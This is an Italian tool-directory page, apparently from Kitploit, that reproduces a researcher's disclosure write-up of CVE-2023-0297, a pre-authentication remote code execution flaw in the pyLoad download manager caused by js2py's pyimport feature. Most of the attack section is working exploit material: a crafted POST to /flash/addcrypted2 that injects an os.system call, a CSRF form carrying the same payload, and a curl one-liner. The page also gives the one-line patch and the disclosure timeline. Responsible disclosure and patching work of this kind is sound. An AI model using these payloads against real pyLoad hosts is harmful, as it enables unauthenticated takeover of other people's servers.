Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-0297_Pre-auth_RCE_in_pyLoad — CVE-2023-0297: La storia della scoperta di una RCE pre-autenticazione in pyLoad | Kitploit
Strumenti/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: La storia della scoperta di una RCE pre-autenticazione in pyLoad

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
28103 anni faRevisionato da Kitploit

CVE-2023-0297: RCE pre-autenticazione in pyLoad

La storia del ritrovamento di una RCE pre-autenticazione in pyLoad

TL;DR

Una vulnerabilità di code injection nelle versioni di pyLoad precedenti alla 0.5.0b3.dev31 porta a una RCE pre-autenticazione abusando delle funzionalità di js2py.

Puoi trovare il report qui e il codice dell'exploit qui.

Details

pyLoad è un download manager open source scritto in Python e gestibile tramite interfaccia web. Il suo repository GitHub ha circa 2.8k stelle al 9 gennaio 2023.

Mentre stavo analizzando il codice sorgente di pyLoad, il seguente codice ha attirato la mia attenzione:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

La definizione della funzione eval_js è la seguente:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") usa la funzionalità di js2py che esegue il codice JavaScript f"{jk} f()" dove il parametro jk viene passato tramite un parametro di richiesta:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

Pertanto puoi eseguire codice JavaScript arbitrario inviando una richiesta all'endpoint.

Tuttavia, come puoi abusarne? Poiché nel contesto di js2py.eval_js() non sono definite né XMLHttpRequest, né fetch, né require (come in node.js), SSRF o la lettura di file locali non sono possibili.

Dopo aver passato del tempo, ho trovato una funzionalità interessante di js2py:

pyimport statement

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

Utilizzando questa funzionalità, puoi utilizzare librerie Python nel contesto di js2py.eval_js()! Sorprendentemente pyimport è abilitato di default. :o

Ho provato un semplice codice che esegue un comando di sistema usando pyimport:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

Come previsto, touch /tmp/pwnd è stato eseguito!

Inviando la seguente richiesta, la stessa cosa accadrebbe sull'host di destinazione:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

La parte ;f=function%20f2(){}; nel parametro jk è necessaria perché questo endpoint esegue eval_js(f"{jk} f()"). Se non è presente, il codice iniettato non verrà eseguito a causa dell'errore name 'f' is not defined.

Nota che nella richiesta non sono presenti né cookie né token CSRF. Questo significa che:

  • Un attaccante non autenticato che può accedere all'host di destinazione è in grado di eseguire RCE.
  • Anche se un attaccante non può accedere all'host di destinazione, può indurre una vittima che può accedere all'host di destinazione a eseguire RCE tramite un attacco CSRF:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Codice Exploit

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

Patch

Basta disabilitare la funzionalità pyimport.

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

Cronologia

  • 2023-01-02: Segnalata a huntr.dev
  • 2023-01-04: Vulnerabilità verificata
  • 2023-01-04: Vulnerabilità corretta e report pubblicato
  • 2023-01-14: Assegnato l'ID CVE

Grazie al team di hunr.dev e a un maintainer di pyLoad per le risposte rapide!

Scarica lo strumento